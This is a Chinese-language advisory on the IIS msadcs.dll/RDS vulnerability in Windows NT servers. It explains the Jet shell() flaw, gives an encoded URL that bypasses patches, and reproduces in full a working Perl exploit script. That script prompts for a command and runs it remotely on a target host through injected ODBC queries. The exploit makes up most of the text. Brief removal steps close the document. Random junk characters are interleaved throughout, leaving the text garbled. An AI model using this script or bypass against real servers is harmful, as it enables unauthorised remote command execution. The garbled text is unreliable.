IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
.[85<"C (\Zo"x;( 涉及程序：
~'\u:Imuo Microsoft NT server
Pg C]@Q% ; | ,Y2?
描述：
4c@F .I 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
w~?eX/; TL:RB)- < 详细：
\1_&?( pU 如果你没有时间读详细内容的话，就删除:
*heQ@ww c:\Program Files\Common Files\System\Msadc\msadcs.dll
[kkcV5I- 有关的安全问题就没有了。
Z}S tA0F_ ,R6$ SrNcd 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
y^BM*C I Vo8"/]_h 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
q2i~<;Z)9 关于利用ODBC远程漏洞的描述，请参看:
lB@K;E@r8 D$
z!wV http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $>m<+nai' Vk
T3_f 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
9oz)E>K4f http://www.microsoft.com/security/bulletins/MS99-025faq.asp #+nv,?@ L]")TQ 这里不再论述。
/omVM u e|y~q0Q $ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Z] }@#/
n 1Xc%%j /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Jp iKZG@L 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
3W0:0I /Vc!N)
m!(K #将下面这段保存为txt文件，然后: "perl -x 文件名"
<{uIB;P mj~CCokF{? #!perl
!I& Sy]G #
(^\i(cfu6Q # MSADC/RDS 'usage' (aka exploit) script
yRDLg
c #
K.Z{4x=0 # by rain.forest.puppy
+__Rk1CVh #
EZV$1pa # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
z ZQoY_UI # beta test and find errors!
.jw)e!<\N Jsl,r+'H use Socket; use Getopt::Std;
D%v yO_k getopts("e:vd:h:XR", \%args);
4F ?1,-X ;k ]pq 4E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
mH"`4 6 +0DIN4Y(4 if (!defined $args{h} && !defined $args{R}) {
?~Des"F6)1 print qq~
r{_'2Z_i Usage: msadc.pl -h <host> { -d <delay> -X -v }
0a5P@;" a -h <host> = host you want to scan (ip or domain)
cae }dHG2 -d <seconds> = delay between calls, default 1 second
qMkP/BjV -X = dump Index Server path table, if available
n_Z8%|h -v = verbose
U
L q%,ca -e = external dictionary file for step 5
6~s,j({^ '%,Re-8O Or a -R will resume a command session
FYJB.lAT ~oI49Q&{ ~; exit;}
lMP7o& HF azqQ[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ntT | G0E if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
! Zr vko if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
$lQi0*s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
DCm;dh $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+2?[=g4;} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
9fiZ5 \ > h9U ~#G= if (!defined $args{R}){ $ret = &has_msadc;
ATU@5, 9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
B.|vmq,u ;u%h wlo print "Please type the NT commandline you want to run (cmd /c assumed):\n"
$2.D Z . "cmd /c ";
i0P+,U $in=<STDIN>; chomp $in;
^V:YNUqp# $command="cmd /c " . $in ;
cA*%K[9 &
2b f if (defined $args{R}) {&load; exit;}
/X?Nv^Hy PIA&s6U print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
L81"W`? &try_btcustmr;
9T]]T Ev4 }yw\+fc print "\nStep 2: Trying to make our own DSN...";
@ZVc!5J_, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0K!9MDT}* S$#Awen"@ print "\nStep 3: Trying known DSNs...";
9we=aX5 &known_dsn;
MLDuo|? <[q )2 5RL print "\nStep 4: Trying known .mdbs...";
b9U 2afd &known_mdb;
k4@GjO1"$ ,kP{3.#Q if (defined $args{e}){
_+{s^n= print "\nStep 5: Trying dictionary of DSN names...";
("aYjK k &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
su VS!}
C qUo(h bp print "Sorry Charley...maybe next time?\n";
5mV'k"Om#" exit;
Ii9vA ^53 /oI ''O%M ##############################################################################
acH.L _B : BP7_o63/G sub sendraw { # ripped and modded from whisker
HG^8&uh] sleep($delay); # it's a DoS on the server! At least on mine...
)KNFS,5 my ($pstr)=@_;
F UH1Z+ 9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0QPipuP die("Socket problems\n");
UeRenp if(connect(S,pack "SnA4x8",2,80,$target)){
HqbTJ!a select(S); $|=1;
?]})Xf.A print $pstr; my @in=<S>;
+ vQyHo select(STDOUT); close(S);
[;2v[&Po return @in;
^cY5!W.q8 } else { die("Can't connect...\n"); }}
\!% 3giD5! l/`Z+ ]; ##############################################################################
0t9G $23 `w q\K8v sub make_header { # make the HTTP request
"ZH1W9A my $msadc=<<EOT
BG|Kw)z*KM POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
4Qw!YI#40$ User-Agent: ACTIVEDATA
\&cVcA g Host: $ip
3B_S>0H"$ Content-Length: $clen
)JjfPb64 Connection: Keep-Alive
ZF`ckWT:-N
$% jV%k ADCClientVersion:01.06
^c2 8Q.<w( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"XH]B IXH;QwR: --!ADM!ROX!YOUR!WORLD!
-wO`o< Content-Type: application/x-varg
s^AYPmR6 Content-Length: $reqlen
{!,+C 0 *BF1 Sso EOT
a E#s#Kv ; $msadc=~s/\n/\r\n/g;
\'p)k Df return $msadc;}
jHFdDw| N` 20J:_+=] ##############################################################################
F|"NJ*o} 5tf/VT sub make_req { # make the RDS request
KJ-D|N,8@^ my ($switch, $p1, $p2)=@_;
2. |Y my $req=""; my $t1, $t2, $query, $dsn;
Zw }7vD0 Pukq{/27 if ($switch==1){ # this is the btcustmr.mdb query
_{A($/~c? $query="Select * from Customers where City=" . make_shell();
ZGS =;jM $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
u2DsjaL $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%7{6>6% +x WT)h/ elsif ($switch==2){ # this is general make table query
Y H?>2u $query="create table AZZ (B int, C varchar(10))";
alq>| ,\x $dsn="$p1";}
[H"Ods~_` #$8tBo elsif ($switch==3){ # this is general exploit table query
Q .5a"(d@ $query="select * from AZZ where C=" . make_shell();
a
ZfX | $dsn="$p1";}
SX;FBO(p 'vh:(- elsif ($switch==4){ # attempt to hork file info from index server
/ ]I ] $query="select path from scope()";
\ii^F?+b $dsn="Provider=MSIDXS;";}
HC$_p,9OV D L$P elsif ($switch==5){ # bad query
Lrz>00(*4 $query="select";
<8H`y(S $dsn="$p1";}
%T 88K}?= xOS4J+' s@ $t1= make_unicode($query);
??k^Rw+0R $t2= make_unicode($dsn);
4u"O/rt
$req = "\x02\x00\x03\x00";
Ar>-xCT D $req.= "\x08\x00" . pack ("S1", length($t1));
jtd{=[STU $req.= "\x00\x00" . $t1 ;
hmks\eb~ $req.= "\x08\x00" . pack ("S1", length($t2));
BB~Qs $req.= "\x00\x00" . $t2 ;
{lqnn n3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
sYeZ.MacU return $req;}
qG~O] ($ cA_v*`YL ##############################################################################
2&P'rmFm ]x~ H"<V sub make_shell { # this makes the shell() statement
g{dyDN$5|w return "'|shell(\"$command\")|'";}
;o#dmG G T* \gZ ##############################################################################
/ EWF0XV! J#bEAK^L,l sub make_unicode { # quick little function to convert to unicode
_ 57m] ;& my ($in)=@_; my $out;
x@Q}sW92 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
cl^tX% return $out;}
tTC[^Dji 17J|g.]m-& ##############################################################################
\u:xDS( CkIIC x sub rdo_success { # checks for RDO return success (this is kludge)
\9<aCJxN my (@in) = @_; my $base=content_start(@in);
ck-w Md if($in[$base]=~/multipart\/mixed/){
eBG7 ]u,Q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Wrt3p-N"D return 0;}
evZ{~v& / ~^:/t<N ##############################################################################
N#Y4nllJ 7@MVInV9 sub make_dsn { # this makes a DSN for us
4RJ8 2yq- my @drives=("c","d","e","f");
Fj -mo>" print "\nMaking DSN: ";
6i , d| foreach $drive (@drives) {
h yFq>XFo print "$drive: ";
EcFYP"{U my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
y~''r%] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<#LH L
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
%<:?{<~wH9 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
N%n#mV; return 0 if $2 eq "404"; # not found/doesn't exist
P eh( *D{ if($2 eq "200") {
X 1^f0\k foreach $line (@results) {
>\%44ba6 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@4_W}1W } return 0;}
hP,SvN#!2 t k2B\}6 ##############################################################################
0g~WM &EV|knW sub verify_exists {
AZxOq !B my ($page)=@_;
)%f]` < o my @results=sendraw("GET $page HTTP/1.0\n\n");
s>E4.0[I% return $results[0];}
|s[m;Qm[ku 2-. g>'W ##############################################################################
vUY?Eb[ B$_F)2%m; sub try_btcustmr {
i=]IUjx< my @drives=("c","d","e","f");
`yNNpSdS1 my @dirs=("winnt","winnt35","winnt351","win","windows");
`N;u# z ;9/6X#;$ foreach $dir (@dirs) {
{.DI[ @.g print "$dir -> "; # fun status so you can see progress
uFW4A foreach $drive (@drives) {
Y+F$]!hw print "$drive: "; # ditto
Y:ZI9JK? $reqlen=length( make_req(1,$drive,$dir) ) - 28;
o#4Wn'E $reqlenlen=length( "$reqlen" );
b8feo'4Z $clen= 206 + $reqlenlen + $reqlen;
Fu(e4E `LVXK|m+ $ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
KSc&6UVz^ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
" u3 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8HxB\ !0F? )|q,RA n ##############################################################################
gh['T, !c\s)&U7B sub odbc_error {
x{&0:|bCs6 my (@in)=@_; my $base;
)U`H 7\*) my $base = content_start(@in);
7Z93 `A-= if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\b1 I< 4( $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WIQt5=- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
plv"/K JM $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Gg{@]9 return $in[$base+4].$in[$base+5].$in[$base+6];}
P>0j]?RB print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<xOpm8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
hUxpz:U* $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6Bo~7gnc 0/#XUX 4 ##############################################################################
{(7Dz*0 F
C2oP, sub verbose {
Q{Jz;6" my ($in)=@_;
1x V~EX return if !$verbose;
4 9@
pA- print STDOUT "\n$in\n";}
r%&hiobMYs i/, G= yA ##############################################################################
?MPM@ 9 yaa+j8s] sub save {
|U 8;25Y my ($p1, $p2, $p3, $p4)=@_;
3`5?Zgp open(OUT, ">rds.save") || print "Problem saving parameters...\n";
[f:>tRdH print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
C'
o4Su# close OUT;}
^8
AV #a K}1>n2P ##############################################################################
3r%I * #:"\6s sub load {
7Aq4YjbX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
a^)7&|$ E open(IN,"<rds.save") || die("Couldn't open rds.save\n");
RCND|X @p=<IN>; close(IN);
+`mJh \* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
9 /t}S6b{ $target= inet_aton($ip) || die("inet_aton problems");
j &)|n K;} print "Resuming to $ip ...";
n 'ZlIh $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
s><RL]+{G+ if($p[1]==1) {
!:c 7I@ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
V<\:iNX X{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
8Nd + my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Ud*.[GRD~ if (rdo_success(@results)){print "Success!\n";}
Sd nqM`uFo else { print "failed\n"; verbose(odbc_error(@results));}}
$gJ M F( elsif ($p[1]==3){
#Ru +|KL if(run_query("$p[3]")){
x*}(l%[ print "Success!\n";} else { print "failed\n"; }}
$QNfy.6Tn elsif ($p[1]==4){
{S qY77 if(run_query($drvst . "$p[3]")){
vF ]?i print "Success!\n"; } else { print "failed\n"; }}
bpz B}nEp exit;}
p !hewtb5 -x:Wp*, ##############################################################################
r\'3q '7 p @wl80v sub create_table {
A}t.`FLP,j my ($in)=@_;
/ (W{` $reqlen=length( make_req(2,$in,"") ) - 28;
96}/;e]@ $reqlenlen=length( "$reqlen" );
p#^L
ZX $clen= 206 + $reqlenlen + $reqlen;
I]~xs0$4# my @results=sendraw(make_header() . make_req(2,$in,""));
~Xh(JK] return 1 if rdo_success(@results);
yE{l
Xp; my $temp= odbc_error(@results); verbose($temp);
`i f* return 1 if $temp=~/Table 'AZZ' already exists/;
Qk Gr{ return 0;}
h'MX{Wm. [9'5 +RXw3 ##############################################################################
;yBq'_e3 &EE6<-B- sub known_dsn {
0=t_ a]+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5NJ@mm { 0 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&{Uaa "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
w{I60|C]* "banner", "banners", "ads", "ADCDemo", "ADCTest");
g#Zb}^ }\J oE4 foreach $dSn (@dsns) {
Pkc4=i,`A print ".";
,(OA5%A9zK next if (!is_access("DSN=$dSn"));
6;*tw i if(create_table("DSN=$dSn")){
o1GWcxu *\ print "$dSn successful\n";
D 67H56[ if(run_query("DSN=$dSn")){
oYlq1MB? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3j]La print "Something's borked. Use verbose next time\n";}}} print "\n";}
b.8HGt<% kki]6_/n ##############################################################################
?uk|x!Ko] }9 qsPn sub is_access {
'G@Npp)&^ my ($in)=@_;
}eEF/o $reqlen=length( make_req(5,$in,"") ) - 28;
`9zP{p $reqlenlen=length( "$reqlen" );
FRs5 Pb1 $clen= 206 + $reqlenlen + $reqlen;
V9B $_j4 my @results=sendraw(make_header() . make_req(5,$in,""));
`. L8< -]W my $temp= odbc_error(@results);
{ BJ[h verbose($temp); return 1 if ($temp=~/Microsoft Access/);
gbXzD`WQ return 0;}
_4[kg)#+ w y:. ##############################################################################
N@tzYD|h A J* a`qU
sub run_query {
VdVca1Z my ($in)=@_;
A n/) |B4 $reqlen=length( make_req(3,$in,"") ) - 28;
V%o:Qa[a $reqlenlen=length( "$reqlen" );
h =d&@k\g $clen= 206 + $reqlenlen + $reqlen;
`4\ H'p my @results=sendraw(make_header() . make_req(3,$in,""));
Ap U5,R0 return 1 if rdo_success(@results);
-_b}b)2iYN my $temp= odbc_error(@results); verbose($temp);
~[k 2( return 0;}
A 4%0 \ iu2rat^ ##############################################################################
M# F;eK2pf 1xT^ ,e6 sub known_mdb {
e R8h4M~O my @drives=("c","d","e","f","g");
T3'dfe U my @dirs=("winnt","winnt35","winnt351","win","windows");
bG2 !5m4L my $dir, $drive, $mdb;
96MR nj*Y[ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(iBBdB .hETqE` E # this is sparse, because I don't know of many
Tvf]OJ9N my @sysmdbs=( "\\catroot\\icatalog.mdb",
(nvSB}? "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"}Ya . "\\system32\\certmdb.mdb",
'T+3tGCy+ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
;rd!kFd#bq 15Yy &9D my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
")x9A&p "\\cfusion\\cfapps\\forums\\forums_.mdb",
]%shs "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
}tc,3> / "\\cfusion\\cfapps\\security\\realm_.mdb",
]J_Dn\ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Bv3?W W "\\cfusion\\database\\cfexamples.mdb",
(_U&EX% "\\cfusion\\database\\cfsnippets.mdb",
*$(9,y\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
78 }iNGf "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
)M'#l<9B "\\cfusion\\brighttiger\\database\\cleam.mdb",
Q0ev*MS9Z "\\cfusion\\database\\smpolicy.mdb",
Dv e5Ml- "\\cfusion\\database\cypress.mdb",
?A,gDk/# "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
<t]i' D( K "\\website\\cgi-win\\dbsample.mdb",
r&Za*TD^ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
- DL/Hk_r "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
h1J G^w$ 5 ); #these are just
I:AlM ? foreach $drive (@drives) {
G8akMd]2 foreach $dir (@dirs){
cZ^$!0 foreach $mdb (@sysmdbs) {
;'2y6"\ Y print ".";
ZaXK=%z if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
7m@pdq5Ub print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
:~U1JAs$ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8oN4!#: print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
|wVoJO!O} } else { print "Something's borked. Use verbose next time\n"; }}}}}
DR f~l9f >.J68 x foreach $drive (@drives) {
nSgg'I( foreach $mdb (@mdbs) {
A B}Qd\ print ".";
1sn!! if(create_table($drv . $drive . $dir . $mdb)){
1cO p"! print "\n" . $drive . $dir . $mdb . " successful\n";
`=%[ if(run_query($drv . $drive . $dir . $mdb)){
7d'4"c;*; print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
oBKZ $&_h } else { print "Something's borked. Use verbose next time\n"; }}}}
P#rwYPww\ }
8 m -jU
5u +z("'Cv ##############################################################################
o.}^6.h" U{eC^yjt"o sub hork_idx {
j!:U*}f print "\nAttempting to dump Index Server tables...\n";
LF*3Iw|v print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>\(Ma3S
$reqlen=length( make_req(4,"","") ) - 28;
*.voN[$~ $reqlenlen=length( "$reqlen" );
UxD1+\N6? $clen= 206 + $reqlenlen + $reqlen;
vAwFPqu my @results=sendraw2(make_header() . make_req(4,"",""));
q)<5&|V if (rdo_success(@results)){
MH{vFA4:, my $max=@results; my $c; my %d;
ukq9Cjs for($c=19; $c<$max; $c++){
g<}EL[9[J $results[$c]=~s/\x00//g;
Z0`? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
kDO6:sjR7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
b^hCm`2w* $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
vaR 0`F $d{"$1$2"}="";}
\+L_'*&8 foreach $c (keys %d){ print "$c\n"; }
$`_(%tl } else {print "Index server doesn't seem to be installed.\n"; }}
d'Gv \i&e U|U/B ##############################################################################
[h8F) bp$8hUNYz- sub dsn_dict {
9OT2yC T open(IN, "<$args{e}") || die("Can't open external dictionary\n");
`2r21rVntf while(<IN>){
]2b" oHg $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Yn1 U@! next if (!is_access("DSN=$dSn"));
LFGu|]( if(create_table("DSN=$dSn")){
{
H9pF2C print "$dSn successful\n";
Arf q if(run_query("DSN=$dSn")){
O aF+Z@ s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
']+H P9i$ print "Something's borked. Use verbose next time\n";}}}
rhNdXYY> print "\n"; close(IN);}
;J?^M!l2= >KGQ#hnH ##############################################################################
xW "J@OiKL nR"k % $ sub sendraw2 { # ripped and modded from whisker
z:< (b sleep($delay); # it's a DoS on the server! At least on mine...
hih`: y my ($pstr)=@_;
wJ IJPYTK socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*jA%.F die("Socket problems\n");
r% mN]?u if(connect(S,pack "SnA4x8",2,80,$target)){
G ROl9xp2 print "Connected. Getting data";
?>lmLz!e open(OUT,">raw.out"); my @in;
g`J? 2
_] select(S); $|=1; print $pstr;
eTrGFe!8w while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
uLL#(bhDr close(OUT); select(STDOUT); close(S); return @in;
zWjGGTP~3& } else { die("Can't connect...\n"); }}
06Uxd\E~ dWm[#,Q? ##############################################################################
deu+ i ZU "y < sub content_start { # this will take in the server headers
Zjo9c{\ my (@in)=@_; my $c;
70KXBu<6
for ($c=1;$c<500;$c++) {
T 6phD8# if($in[$c] =~/^\x0d\x0a/){
U*a!Gn7l if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/9GqEQsfM else { return $c+1; }}}
d5zzQ]|L return -1;} # it should never get here actually
OQ[>s(`*{ \nxt\K D ##############################################################################
p1Lx\ ~r=TVHjqi sub funky {
Po^2+s(fY my (@in)=@_; my $error=odbc_error(@in);
1bj75/i<6 if($error=~/ADO could not find the specified provider/){
P v/P< i^ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
u)Y#&q A exit;}
#c!(97l6o if($error=~/A Handler is required/){
u $sX6 print "\nServer has custom handler filters (they most likely are patched)\n";
CQtd%'rt6 exit;}
z ,] fR if($error=~/specified Handler has denied Access/){
%FF
S&vd print "\nServer has custom handler filters (they most likely are patched)\n";
)Ba^Igb} exit;}}
*><]
[|Y@H yY&(?6\{<< ##############################################################################
~CM{?{z; W}.4$f> sub has_msadc {
EO|
kiC my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
.R-:vU880 my $base=content_start(@results);
cAktSoF return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
p.l]% \QI return 0;}
Y[ x ^59 sO(K po9jq ########################
UiYA#m txL5' mK nt5 ~" 8 解决方案：
-rH3rKtf~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
c6lEWC: 2、移除web 目录: /msadc
